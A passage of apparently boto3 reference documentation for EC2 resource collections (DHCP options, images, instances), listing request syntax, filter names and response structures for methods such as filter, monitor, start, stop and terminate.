**MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.DhcpOptions) + +Returns + +A list of DhcpOptions resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of DhcpOptions resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeDhcpOptions) + +**Request Syntax** + +dhcp_options_iterator = ec2.dhcp_options_sets.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.DhcpOptions) + +Returns + +A list of DhcpOptions resources + +page_size(kwargs_) + +Creates an iterable of all DhcpOptions resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeDhcpOptions) + +**Request Syntax** + +dhcp_options_iterator = ec2.dhcp_options_sets.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.DhcpOptions) + +Returns + +A list of DhcpOptions resources + +images + +A collection of Image resources.A Image Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Image resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImages) + +**Request Syntax** + +image_iterator = ec2.images.all() + +Return type + +list(ec2.Image) + +Returns + +A list of Image resources + +filter(kwargs_) + +Creates an iterable of all Image resources in the collection filtered by kwargs passed to method.A Image collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImages) + +**Request Syntax** + +image_iterator = ec2.images.filter( + ExecutableUsers=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + ImageIds=[ + 'string', + ], + Owners=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +- **ExecutableUsers** (_list_) -- + + Scopes the images by users with explicit launch permissions. Specify an AWS account ID, self (the sender of the request), or all (public AMIs). + + - _(string) --_ +- **Filters** (_list_) -- + + The filters. + + - architecture - The image architecture (i386 | x86_64 | arm64 ). + - block-device-mapping.delete-on-termination - A Boolean value that indicates whether the Amazon EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.snapshot-id - The ID of the snapshot used for the EBS volume. + - block-device-mapping.volume-size - The volume size of the EBS volume, in GiB. + - block-device-mapping.volume-type - The volume type of the EBS volume (gp2 | io1 | io2 | st1 | sc1 | standard ). + - block-device-mapping.encrypted - A Boolean that indicates whether the EBS volume is encrypted. + - description - The description of the image (provided during image creation). + - ena-support - A Boolean that indicates whether enhanced networking with ENA is enabled. + - hypervisor - The hypervisor type (ovm | xen ). + - image-id - The ID of the image. + - image-type - The image type (machine | kernel | ramdisk ). + - is-public - A Boolean that indicates whether the image is public. + - kernel-id - The kernel ID. + - manifest-location - The location of the image manifest. + - name - The name of the AMI (provided during image creation). + - owner-alias - The owner alias, from an Amazon-maintained list (amazon | aws-marketplace ). This is not the user-configured AWS account alias set using the IAM console. We recommend that you use the related parameter instead of this filter. + - owner-id - The AWS account ID of the owner. We recommend that you use the related parameter instead of this filter. + - platform - The platform. To only list Windows-based AMIs, use windows . + - product-code - The product code. + - product-code.type - The type of the product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - state - The state of the image (available | pending | failed ). + - state-reason-code - The reason code for the state change. + - state-reason-message - The message for the state change. + - sriov-net-support - A value of simple indicates that enhanced networking with the Intel 82599 VF interface is enabled. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - virtualization-type - The virtualization type (paravirtual | hvm ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **ImageIds** (_list_) -- + + The image IDs. + + Default: Describes all images available to you. + + - _(string) --_ +- **Owners** (_list_) -- + + Scopes the results to images with the specified owners. You can specify a combination of AWS account IDs, self , amazon , and aws-marketplace . If you omit this parameter, the results include all images for which you have launch permissions, regardless of ownership. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.Image) + +Returns + +A list of Image resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Image resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImages) + +**Request Syntax** + +image_iterator = ec2.images.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Image) + +Returns + +A list of Image resources + +page_size(kwargs_) + +Creates an iterable of all Image resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImages) + +**Request Syntax** + +image_iterator = ec2.images.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Image) + +Returns + +A list of Image resources + +instances + +A collection of Instance resources.A Instance Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = ec2.instances.all() + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = ec2.instances.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +filter(kwargs_) + +Creates an iterable of all Instance resources in the collection filtered by kwargs passed to method.A Instance collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = ec2.instances.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - affinity - The affinity setting for an instance running on a Dedicated Host (default | host ). + - architecture - The instance architecture (i386 | x86_64 | arm64 ). + - availability-zone - The Availability Zone of the instance. + - block-device-mapping.attach-time - The attach time for an EBS volume mapped to the instance, for example, 2010-09-15T17:15:20.000Z . + - block-device-mapping.delete-on-termination - A Boolean that indicates whether the EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.status - The status for the EBS volume (attaching | attached | detaching | detached ). + - block-device-mapping.volume-id - The volume ID of the EBS volume. + - client-token - The idempotency token you provided when you launched the instance. + - dns-name - The public DNS name of the instance. + - group-id - The ID of the security group for the instance. EC2-Classic only. + - group-name - The name of the security group for the instance. EC2-Classic only. + - hibernation-options.configured - A Boolean that indicates whether the instance is enabled for hibernation. A value of true means that the instance is enabled for hibernation. + - host-id - The ID of the Dedicated Host on which the instance is running, if applicable. + - hypervisor - The hypervisor type of the instance (ovm | xen ). The value xen is used for both Xen and Nitro hypervisors. + - iam-instance-profile.arn - The instance profile associated with the instance. Specified as an ARN. + - image-id - The ID of the image used to launch the instance. + - instance-id - The ID of the instance. + - instance-lifecycle - Indicates whether this is a Spot Instance or a Scheduled Instance (spot | scheduled ). + - instance-state-code - The state of the instance, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are: 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + - instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + - instance-type - The type of instance (for example, t2.micro ). + - instance.group-id - The ID of the security group for the instance. + - instance.group-name - The name of the security group for the instance. + - ip-address - The public IPv4 address of the instance. + - kernel-id - The kernel ID. + - key-name - The name of the key pair used when the instance was launched. + - launch-index - When launching multiple instances, this is the index for the instance in the launch group (for example, 0, 1, 2, and so on). + - launch-time - The time when the instance was launched. + - metadata-options.http-tokens - The metadata request authorization state (optional | required ) + - metadata-options.http-put-response-hop-limit - The http metadata request put response hop limit (integer, possible values 1 to 64 ) + - metadata-options.http-endpoint - Enable or disable metadata access on http endpoint (enabled | disabled ) + - monitoring-state - Indicates whether detailed monitoring is enabled (disabled | enabled ). + - network-interface.addresses.private-ip-address - The private IPv4 address associated with the network interface. + - network-interface.addresses.primary - Specifies whether the IPv4 address of the network interface is the primary private IPv4 address. + - network-interface.addresses.association.public-ip - The ID of the association of an Elastic IP address (IPv4) with a network interface. + - network-interface.addresses.association.ip-owner-id - The owner ID of the private IPv4 address associated with the network interface. + - network-interface.association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - network-interface.association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - network-interface.association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - network-interface.association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - network-interface.attachment.attachment-id - The ID of the interface attachment. + - network-interface.attachment.instance-id - The ID of the instance to which the network interface is attached. + - network-interface.attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - network-interface.attachment.device-index - The device index to which the network interface is attached. + - network-interface.attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - network-interface.attachment.attach-time - The time that the network interface was attached to an instance. + - network-interface.attachment.delete-on-termination - Specifies whether the attachment is deleted when an instance is terminated. + - network-interface.availability-zone - The Availability Zone for the network interface. + - network-interface.description - The description of the network interface. + - network-interface.group-id - The ID of a security group associated with the network interface. + - network-interface.group-name - The name of a security group associated with the network interface. + - network-interface.ipv6-addresses.ipv6-address - The IPv6 address associated with the network interface. + - network-interface.mac-address - The MAC address of the network interface. + - network-interface.network-interface-id - The ID of the network interface. + - network-interface.owner-id - The ID of the owner of the network interface. + - network-interface.private-dns-name - The private DNS name of the network interface. + - network-interface.requester-id - The requester ID for the network interface. + - network-interface.requester-managed - Indicates whether the network interface is being managed by AWS. + - network-interface.status - The status of the network interface (available ) | in-use ). + - network-interface.source-dest-check - Whether the network interface performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - network-interface.subnet-id - The ID of the subnet for the network interface. + - network-interface.vpc-id - The ID of the VPC for the network interface. + - owner-id - The AWS account ID of the instance owner. + - placement-group-name - The name of the placement group for the instance. + - placement-partition-number - The partition in which the instance is located. + - platform - The platform. To list only Windows instances, use windows . + - private-dns-name - The private IPv4 DNS name of the instance. + - private-ip-address - The private IPv4 address of the instance. + - product-code - The product code associated with the AMI used to launch the instance. + - product-code.type - The type of product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - reason - The reason for the current state of the instance (for example, shows "User Initiated [date]" when you stop or terminate the instance). Similar to the state-reason-code filter. + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - reservation-id - The ID of the instance's reservation. A reservation ID is created any time you launch an instance. A reservation ID has a one-to-one relationship with an instance launch request, but can be associated with more than one instance if you launch multiple instances using the same launch request. For example, if you launch one instance, you get one reservation ID. If you launch ten instances using the same launch request, you also get one reservation ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - source-dest-check - Indicates whether the instance performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform network address translation (NAT) in your VPC. + - spot-instance-request-id - The ID of the Spot Instance request. + - state-reason-code - The reason code for the state change. + - state-reason-message - A message that describes the state change. + - subnet-id - The ID of the subnet for the instance. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + - tenancy - The tenancy of an instance (dedicated | default | host ). + - virtualization-type - The virtualization type of the instance (paravirtual | hvm ). + - vpc-id - The ID of the VPC that the instance is running in. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = ec2.instances.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = ec2.instances.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +page_size(kwargs_) + +Creates an iterable of all Instance resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = ec2.instances.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = ec2.instances.reboot( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = ec2.instances.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +- **AdditionalInfo** (_string_) -- Reserved. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StartingInstances** _(list) --_ + + Information about the started instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = ec2.instances.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +- **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = ec2.instances.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by 